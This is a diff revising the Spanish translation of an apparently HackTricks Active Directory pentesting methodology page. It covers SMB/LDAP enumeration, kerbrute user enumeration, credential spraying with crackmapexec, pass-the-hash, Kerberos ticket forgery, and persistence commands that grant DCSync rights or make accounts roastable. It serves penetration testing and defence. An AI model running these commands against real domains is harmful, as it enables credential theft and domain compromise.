- **Comprueba acceso null y Guest en servicios smb** (esto no funcionará en versiones modernas de Windows):
+- Echa un vistazo a la página general [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto.
+- **Comprobar acceso null y Guest en servicios smb** (esto no funcionará en versiones modernas de Windows):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Una guía más detallada sobre cómo enumerar un servidor SMB se puede encontrar aquí:
+- Una guía más detallada sobre cómo enumerar un servidor SMB puede encontrarse aquí:


 {{#ref}}
 ../../network-services-pentesting/pentesting-smb/
 {{#endref}}

- **Enumerar LDAP**
+- **Enumerar Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Una guía más detallada sobre cómo enumerar LDAP se puede encontrar aquí (presta **atención especial al acceso anónimo**):
+- Una guía más detallada sobre cómo enumerar LDAP puede encontrarse aquí (presta **especial atención al acceso anónimo**):


 {{#ref}}
@ -69,12 +69,12 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
 {{#endref}}

 - **Poison the network**
- Recopilar credenciales **suplantando servicios con Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Acceder al host **abusando del relay attack** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Recopilar credenciales **exponiendo servicios UPnP falsos con evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Recolectar credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Acceder a hosts [**abusando del relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Recolectar credenciales **exponiendo** [**fake UPnP services con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Extraer nombres de usuario/nombres completos de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos del dominio y también de los disponibles públicamente.
- Si encuentras los nombres completos de los empleados de la empresa, podrías probar diferentes **convenios de nombres de usuario AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NameSurname_, _Name.Surname_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
+- Extraer usernames/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos del dominio y también de lo disponible públicamente.
+- Si encuentras los nombres completos de los empleados de la empresa, podrías probar diferentes convenciones de **username de AD** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NameSurname_, _Name.Surname_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
 - Herramientas:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -82,8 +82,8 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
 ### Enumeración de usuarios

 - **Anonymous SMB/LDAP enum:** Revisa las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá usando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. Los **nombres de usuario válidos** provocarán ya sea el **TGT en un AS-REP** como respuesta o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que al usuario se le requiere realizar pre-autenticación.
- **No Authentication against MS-NRPC**: Usando auth-level = 1 (Sin autenticación) contra la interfaz MS-NRPC (Netlogon) en controladores de dominio. El método llama a la función `DsrGetDcNameEx2` después de enlazar la interfaz MS-NRPC para comprobar si el usuario o el equipo existe sin credenciales. La herramienta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeración. La investigación puede encontrarse [aquí](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Kerbrute enum**: Cuando se solicita un **username inválido** el servidor responderá usando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitiéndonos determinar que el username era inválido. Los **usernames válidos** provocarán o bien el **TGT en un AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que el usuario debe realizar pre-autenticación.
+- **No Authentication against MS-NRPC**: Usando auth-level = 1 (No authentication) contra la interfaz MS-NRPC (Netlogon) en domain controllers. El método invoca la función `DsrGetDcNameEx2` tras enlazar la interfaz MS-NRPC para comprobar si el usuario o el equipo existe sin credenciales. La herramienta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeración. La investigación puede encontrarse [aquí](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-Si encuentras uno de estos servidores en la red, también puedes realizar **enumeración de usuarios** contra él. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper):
+Si encontraste uno de estos servidores en la red, también puedes realizar **enumeración de usuarios contra él**. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -217,17 +217,17 @@ It's very **unlikely** that you will find **tickets** in the current user **givi
 ```
 ### NTLM Relay

-Si has logrado enumerar el Active Directory tendrás **más emails y una mejor comprensión de la red**. Es posible que puedas forzar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Si has logrado enumerar Active Directory tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías ser capaz de forzar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

-### Looks for Creds in Computer Shares | SMB Shares
+### Busca Creds en Computer Shares | SMB Shares

-Ahora que tienes algunas credentials básicas deberías comprobar si puedes **find** any **interesting files being shared inside the AD**. Podrías hacerlo manualmente pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de docs que necesitas revisar).
+Ahora que tienes algunas credenciales básicas deberías comprobar si puedes **encontrar** archivos **interesantes compartidos dentro del AD**. Podrías hacerlo manualmente pero es una tarea muy aburrida y repetitiva (y más aún si encuentras cientos de docs que necesitas revisar).

 [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-Si puedes **access other PCs or shares** podrías **place files** (like a SCF file) que si de alguna forma se acceden **trigger an NTLM authentication against you** para que puedas **steal** el **NTLM challenge** para crackearlo:
+Si puedes **acceder a otros PCs o shares** podrías **colocar archivos** (como un archivo SCF) que si de alguna manera se acceden **dispararán una autenticación NTLM contra ti** para que puedas **steal** el **NTLM challenge** para crackearlo:


 {{#ref}}
@ -236,7 +236,7 @@ Si puedes **access other PCs or shares** podrías **place files** (like a SCF fi

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el domain controller**.
+Esta vulnerabilidad permitía a cualquier usuario autenticado **comprometer el controlador de dominio**.


 {{#ref}}
@ -245,23 +245,23 @@ printnightmare.md

 ## Privilege escalation on Active Directory WITH privileged credentials/session

-**Para las siguientes técnicas un usuario de dominio normal no es suficiente, necesitas algunos privilegios/credentials especiales para realizar estos ataques.**
+**Para las siguientes técnicas un usuario de dominio normal no es suficiente, necesitas algunos privilegios/credenciales especiales para realizar estos ataques.**

 ### Hash extraction

-Con suerte has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
-Entonces, es hora de volcar todos los hashes en memoria y localmente.\
+Con suerte has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Luego, es momento de volcar todos los hashes en memoria y localmente.\
 [**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Once you have the hash of a user**, puedes usarlo para **impersonate** it.\
-Necesitas usar alguna **tool** que **perform** the **NTLM authentication using** that **hash**, **or** podrías crear un nuevo **sessionlogon** e **inject** ese **hash** dentro de **LSASS**, de modo que cuando se realice cualquier **NTLM authentication**, ese **hash will be used.** La última opción es lo que hace mimikatz.\
+**Una vez que tengas el hash de un usuario**, puedes usarlo para **impersonate** it.\
+Necesitas usar alguna **tool** que **perform** la **NTLM authentication using** ese **hash**, **or** podrías crear un nuevo **sessionlogon** e **inject** ese **hash** dentro de **LSASS**, así cuando se realice cualquier **NTLM authentication**, ese **hash será usado.** La última opción es lo que hace mimikatz.\
 [**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Este ataque apunta a **use the user NTLM hash to request Kerberos tickets**, como alternativa al común Pass The Hash over NTLM protocol. Por lo tanto, esto podría ser especialmente **useful in networks where NTLM protocol is disabled** y solo **Kerberos is allowed** como protocolo de autenticación.
+Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como alternativa al común Pass The Hash sobre el protocolo NTLM. Por tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo **Kerberos está permitido** como protocolo de autenticación.


 {{#ref}}
@ -270,7 +270,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-En el método de ataque **Pass The Ticket (PTT)**, los atacantes **steal a user's authentication ticket** en lugar de su password o valores hash. Este ticket robado se utiliza para **impersonate the user**, obteniendo acceso no autorizado a recursos y servicios dentro de una red.
+En el método de ataque **Pass The Ticket (PTT)**, los atacantes **roban el ticket de autenticación de un usuario** en lugar de su contraseña o valores hash. Este ticket robado se usa luego para **impersonate the user**, obteniendo acceso no autorizado a recursos y servicios dentro de la red.


 {{#ref}}
@ -279,7 +279,7 @@ pass-the-ticket.md

 ### Credentials Reuse

-Si tienes el **hash** o el **password** de un **administrador local** deberías intentar **login locally** en otros **PCs** con él.
+Si tienes el **hash** o la **contraseña** de un **administrador local** deberías intentar **login locally** en otros **PCs** con ella.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@ -288,20 +288,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 > [!WARNING]
 > Tenga en cuenta que esto es bastante **ruidoso** y **LAPS** lo **mitigaría**.

-### Abuso de MSSQL y Trusted Links
+### MSSQL Abuse & Trusted Links

-Si un usuario tiene privilegios para **access MSSQL instances**, podría usarlo para **execute commands** en el host MSSQL (si se ejecuta como SA), **steal** el NetNTLM **hash** o incluso realizar un **relay** **attack**.\
-Además, si una instancia MSSQL es trusted (database link) por otra instancia MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, va a poder **use the trust relationship to execute queries also in the other instance**. Estas trusts se pueden encadenar y en algún punto el usuario podría encontrar una base de datos mal configurada donde pueda ejecutar comandos.\
-**The links between databases work even across forest trusts.**
+Si un usuario tiene privilegios para **acceder a instancias MSSQL**, podría usarlas para **ejecutar comandos** en el host MSSQL (si corre como SA), **robar** el NetNTLM **hash** o incluso realizar un **relay** **attack**.\
+Además, si una instancia MSSQL es trusted (database link) por otra instancia MSSQL diferente. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **usar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún punto el usuario podría encontrar una base de datos mal configurada donde pueda ejecutar comandos.\
+**Los enlaces entre bases de datos funcionan incluso a través de forest trusts.**


 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}

-### Abuso de plataformas de activos/despliegue de IT
+### IT asset/deployment platforms abuse

-Las suites de inventario y despliegue de terceros a menudo exponen poderosas vías hacia credenciales y ejecución de código. Ver:
+Las suites de inventario y despliegue de terceros a menudo exponen caminos potentes hacia credenciales y ejecución de código. Ver:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -314,8 +314,8 @@ lansweeper-security.md
 ### Unconstrained Delegation

 Si encuentras cualquier objeto Computer con el atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) y tienes privilegios de dominio en el equipo, podrás volcar TGTs desde la memoria de todos los usuarios que inicien sesión en el equipo.\
-Así que, si un **Domain Admin logins onto the computer**, podrás volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
-Gracias a constrained delegation podrías incluso **automáticamente comprometer un Print Server** (con suerte será un DC).
+Así, si un **Domain Admin** inicia sesión en el equipo, podrás volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
+Gracias a constrained delegation incluso podrías **comprometer automáticamente un Print Server** (con suerte será un DC).


 {{#ref}}
@ -324,8 +324,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Si a un usuario o equipo se le permite "Constrained Delegation" será capaz de **impersonate any user to access some services in a computer**.\
-Luego, si **comprometes el hash** de este usuario/equipo podrás **impersonate any user** (incluso domain admins) para acceder a algunos servicios.
+Si a un usuario o equipo se le permite "Constrained Delegation" podrá **suplantar a cualquier usuario para acceder a ciertos servicios en un equipo**.\
+Entonces, si **comprometes el hash** de ese usuario/equipo podrás **suplantar a cualquier usuario** (incluso domain admins) para acceder a algunos servicios.


 {{#ref}}
@ -334,35 +334,35 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Tener privilegios **WRITE** sobre un objeto de Active Directory de un equipo remoto permite la obtención de ejecución de código con **privilegios elevados**:
+Tener privilegio **WRITE** sobre un objeto de Active Directory de un equipo remoto permite obtener ejecución de código con **privilegios elevados**:


 {{#ref}}
 resource-based-constrained-delegation.md
 {{#endref}}

-### Abuso de Permissions/ACLs
+### Permissions/ACLs Abuse

-El usuario comprometido podría tener algunos **privilegios interesantes sobre algunos objetos del dominio** que podrían permitirte **moverte** lateralmente/**escalar** privilegios.
+El usuario comprometido podría tener algunos **privilegios interesantes sobre ciertos objetos del dominio** que podrían permitirte **moverte** lateralmente/**escalar** privilegios.


 {{#ref}}
 acl-persistence-abuse/
 {{#endref}}

-### Abuso del servicio Printer Spooler
+### Printer Spooler service abuse

-Descubrir un **Spool service listening** dentro del dominio puede ser **abused** para **acquire new credentials** y **escalar privilegios**.
+Descubrir un **servicio Spool escuchando** dentro del dominio puede ser **abusado** para **adquirir nuevas credenciales** y **escalar privilegios**.


 {{#ref}}
 printers-spooler-service-abuse.md
 {{#endref}}

-### Abuso de sesiones de terceros
+### Third party sessions abuse

-Si **otros usuarios** **access** la máquina **comprometida**, es posible **gather credentials from memory** e incluso **inject beacons in their processes** para impersonarlos.\
-Usualmente los usuarios accederán al sistema vía RDP, así que aquí tienes cómo performa un par de ataques sobre sesiones RDP de terceros:
+Si **otros usuarios** **acceden** a la máquina **comprometida**, es posible **recopilar credenciales desde la memoria** e incluso **inyectar beacons en sus procesos** para suplantarlos.\
+Normalmente los usuarios acceden al sistema vía RDP, así que aquí tienes cómo realizar un par de ataques sobre sesiones RDP de terceros:


 {{#ref}}
@ -371,59 +371,59 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** proporciona un sistema para gestionar la **local Administrator password** en equipos unidos al dominio, asegurando que esté **randomized**, sea única y se **changed** con frecuencia. Estas contraseñas se almacenan en Active Directory y el acceso se controla mediante ACLs solo para usuarios autorizados. Con permisos suficientes para acceder a estas contraseñas, pivotear a otros equipos se vuelve posible.
+**LAPS** proporciona un sistema para gestionar la **contraseña del Administrador local** en equipos unidos al dominio, asegurando que sea **aleatoria**, única y se **cambie** con frecuencia. Estas contraseñas se almacenan en Active Directory y el acceso está controlado mediante ACLs a usuarios autorizados únicamente. Con permisos suficientes para acceder a estas contraseñas, es posible pivotar a otros equipos.


 {{#ref}}
 laps.md
 {{#endref}}

-### Robo de certificados
+### Certificate Theft

-**Gathering certificates** de la máquina comprometida podría ser una vía para escalar privilegios dentro del entorno:
+**Recopilar certificados** desde la máquina comprometida podría ser una forma de escalar privilegios dentro del entorno:


 {{#ref}}
 ad-certificates/certificate-theft.md
 {{#endref}}

-### Abuso de Certificate Templates
+### Certificate Templates Abuse

-Si se configuran **vulnerable templates** es posible abusar de ellas para escalar privilegios:
+Si se configuran **plantillas vulnerables** es posible abusar de ellas para escalar privilegios:


 {{#ref}}
 ad-certificates/domain-escalation.md
 {{#endref}}

-## Post-explotación con cuenta de alto privilegio
+## Post-exploitation with high privilege account

-### Volcado de credenciales del dominio
+### Dumping Domain Credentials

-Una vez que obtienes **Domain Admin** o, mejor aún, **Enterprise Admin** privileges, puedes **dump** la **domain database**: _ntds.dit_.
+Una vez que obtienes privilegios de **Domain Admin** o, aún mejor, **Enterprise Admin**, puedes **volcar** la **base de datos del dominio**: _ntds.dit_.

-[**More information about DCSync attack can be found here**](dcsync.md).
+[**Más información sobre el ataque DCSync puede encontrarse aquí**](dcsync.md).

-[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Más información sobre cómo robar el NTDS.dit puede encontrarse aquí**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

-### Privesc como persistencia
+### Privesc as Persistence

-Algunas de las técnicas discutidas antes pueden usarse para persistencia.\
+Algunas de las técnicas discutidas anteriormente pueden usarse para persistencia.\
 Por ejemplo podrías:

- Make users vulnerable to [**Kerberoast**](kerberoast.md)
+- Hacer a usuarios vulnerables a [**Kerberoast**](kerberoast.md)

 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```

- Make users vulnerable to [**ASREPRoast**](asreproast.md)
+- Hacer a usuarios vulnerables a [**ASREPRoast**](asreproast.md)

 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Grant [**DCSync**](#dcsync) privileges to a user
+- Conceder privilegios de [**DCSync**](#dcsync) a un usuario

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-El **Silver Ticket attack** crea un **legítimo Ticket Granting Service (TGS) ticket** para un servicio específico usando el **NTLM hash** (por ejemplo, el **hash de la PC account**). Este método se emplea para **access the service privileges**.
+El **ataque Silver Ticket** crea un **ticket TGS legítimo** para un servicio específico usando el **NTLM hash** (por ejemplo, el **hash de la cuenta del PC**). Este método se emplea para **acceder a los privilegios del servicio**.


 {{#ref}}
@ -440,9 +440,9 @@ silver-ticket.md

 ### Golden Ticket

-Un **Golden Ticket attack** implica que un atacante obtenga acceso al **NTLM hash of the krbtgt account** en un entorno Active Directory (AD). Esta cuenta es especial porque se usa para firmar todos los **Ticket Granting Tickets (TGTs)**, que son esenciales para autenticarse dentro de la red AD.
+Un **Golden Ticket attack** implica que un atacante obtiene acceso al **NTLM hash de la cuenta krbtgt** en un entorno Active Directory (AD). Esta cuenta es especial porque se usa para firmar todos los **Ticket Granting Tickets (TGTs)**, que son esenciales para autenticarse dentro de la red AD.

-Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (Silver ticket attack).
+Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque Silver ticket).


 {{#ref}}
@ -451,7 +451,7 @@ golden-ticket.md

 ### Diamond Ticket

-Son como golden tickets forjados de una forma que **bypasses common golden tickets detection mechanisms.**
+Son como golden tickets forjados de una manera que **evita los mecanismos comunes de detección de golden tickets.**


 {{#ref}}
@ -460,7 +460,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Having certificates of an account or being able to request them** es una muy buena forma de persistir en la cuenta del usuario (incluso si cambia la contraseña):
+**Tener los certificados de una cuenta o poder solicitarlos** es una muy buena forma de persistir en la cuenta de un usuario (incluso si cambia la contraseña):


 {{#ref}}
@ -469,7 +469,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Using certificates is also possible to persist with high privileges inside the domain:**
+**Usar certificados también permite persistir con altos privilegios dentro del dominio:**


 {{#ref}}
@ -478,13 +478,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **privileged groups** (como Domain Admins y Enterprise Admins) aplicando una **Access Control List (ACL)** estándar a través de estos grupos para prevenir cambios no autorizados. Sin embargo, esta funcionalidad puede ser explotada; si un atacante modifica la ACL del AdminSDHolder para dar acceso total a un usuario normal, ese usuario obtiene un control extensivo sobre todos los grupos privilegiados. Esta medida de seguridad, pensada para proteger, puede volverse contraproducente, permitiendo acceso no deseado a menos que se monitoree de cerca.
+El objeto **AdminSDHolder** en Active Directory asegura la seguridad de **grupos privilegiados** (como Domain Admins y Enterprise Admins) aplicando una **ACL** estándar a través de estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL del AdminSDHolder para dar acceso total a un usuario normal, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede volverse contraproducente y permitir acceso indebido a menos que se supervise de cerca.

-[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**Más información sobre AdminDSHolder Group aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-Dentro de cada **Domain Controller (DC)** existe una cuenta de **local administrator**. Al obtener derechos de administrador en dicha máquina, el hash del Administrador local puede extraerse usando **mimikatz**. Tras esto, es necesaria una modificación del registro para **enable the use of this password**, permitiendo el acceso remoto a la cuenta de Administrador local.
+Dentro de cada **Domain Controller (DC)** existe una cuenta de **administrador local**. Al obtener permisos de admin en una máquina así, el hash del Administrador local puede extraerse usando **mimikatz**. A continuación, es necesario modificar el registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta de Administrador local.


 {{#ref}}
@ -493,7 +493,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Podrías **give** algunos **permisos especiales** a un **usuario** sobre algunos objetos específicos del dominio que permitirán al usuario **escalar privilegios en el futuro**.
+Podrías **dar** algunos **permisos especiales** a un **usuario** sobre ciertos objetos del dominio que le permitan **escalar privilegios en el futuro**.


 {{#ref}}
@ -502,7 +502,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-Los **security descriptors** se usan para **store** los **permissions** que un **object** tiene **over** un **object**. Si puedes simplemente **make** un **pequeño cambio** en el **security descriptor** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesitar ser miembro de un grupo privilegiado.
+Los **descriptores de seguridad** se usan para **almacenar** los **permisos** que un **objeto** tiene **sobre** un **objeto**. Si puedes simplemente **hacer** un **pequeño cambio** en el **security descriptor** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesitar ser miembro de un grupo privilegiado.


 {{#ref}}
@ -511,7 +511,7 @@ security-descriptors.md

 ### Skeleton Key

-Alterar **LSASS** en memoria para establecer una **universal password**, otorgando acceso a todas las cuentas del dominio.
+Alterar **LSASS** en memoria para establecer una **contraseña universal**, otorgando acceso a todas las cuentas del dominio.


 {{#ref}}
@ -521,7 +521,7 @@ skeleton-key.md
 ### Custom SSP

 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Puedes crear tu **own SSP** para **capture** en **clear text** las **credentials** usadas para acceder a la máquina.
+Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** usadas para acceder a la máquina.


 {{#ref}}
@ -530,8 +530,8 @@ custom-ssp.md

 ### DCShadow

-Registra un **nuevo Domain Controller** en el AD y lo usa para **push attributes** (SIDHistory, SPNs...) en objetos especificados **without** dejar ningún **logs** respecto a las **modificaciones**. Necesitas privilegios **DA** y estar dentro del **root domain**.\
-Ten en cuenta que si usas datos incorrectos, aparecerán logs bastante feos.
+Registra un **nuevo Domain Controller** en el AD y lo usa para **empujar atributos** (SIDHistory, SPNs...) sobre objetos especificados **sin** dejar registros sobre las **modificaciones**. Necesitas privilegios DA y estar dentro del **root domain**.\
+Nota que si usas datos incorrectos, aparecerán registros bastante feos.


 {{#ref}}
@ -540,7 +540,7 @@ dcshadow.md

 ### LAPS Persistence

-Anteriormente hemos discutido cómo escalar privilegios si tienes **enough permission to read LAPS passwords**. Sin embargo, estas contraseñas también pueden usarse para **maintain persistence**.\
+Antes discutimos cómo escalar privilegios si tienes **permiso suficiente para leer contraseñas LAPS**. Sin embargo, estas contraseñas también pueden usarse para **mantener persistencia**.\
 Revisa:


@ -550,62 +550,62 @@ laps.md

 ## Forest Privilege Escalation - Domain Trusts

-Microsoft considera el **Forest** como la frontera de seguridad. Esto implica que **comprometer un único dominio podría potencialmente llevar a que todo el Forest sea comprometido**.
+Microsoft considera el **Forest** como el límite de seguridad. Esto implica que **comprometer un solo dominio podría potencialmente llevar a comprometer todo el Bosque**.

 ### Basic Information

-Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **domain** acceder a recursos en otro **domain**. Esencialmente crea un enlace entre los sistemas de autenticación de ambos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen un trust, intercambian y conservan llaves específicas dentro de sus **Domain Controllers (DCs)**, que son cruciales para la integridad del trust.
+Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Básicamente crea un enlace entre los sistemas de autenticación de ambos dominios, permitiendo que las verificaciones de autenticación fluyan de forma transparente. Cuando los dominios establecen una confianza, intercambian y almacenan ciertas **claves** dentro de sus **Domain Controllers (DCs)**, que son cruciales para la integridad de la confianza.

-En un escenario típico, si un usuario pretende acceder a un servicio en un **trusted domain**, primero debe solicitar un ticket especial conocido como **inter-realm TGT** desde el DC de su propio dominio. Este TGT está encriptado con una **key** compartida que ambos dominios han acordado. El usuario entonces presenta este TGT al **DC of the trusted domain** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del inter-realm TGT por parte del DC del dominio confiable, éste emite un TGS, otorgando al usuario acceso al servicio.
+En un escenario típico, si un usuario desea acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como **inter-realm TGT** desde el DC de su propio dominio. Este TGT está cifrado con una **clave de confianza** compartida entre ambos dominios. El usuario presenta entonces este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del inter-realm TGT por parte del DC del dominio confiable, este emite un TGS, otorgando al usuario acceso al servicio.

-**Steps**:
+**Pasos**:

-1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**.
-2. DC1 issues a new TGT if the client is authenticated successfully.
-3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**.
-4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust.
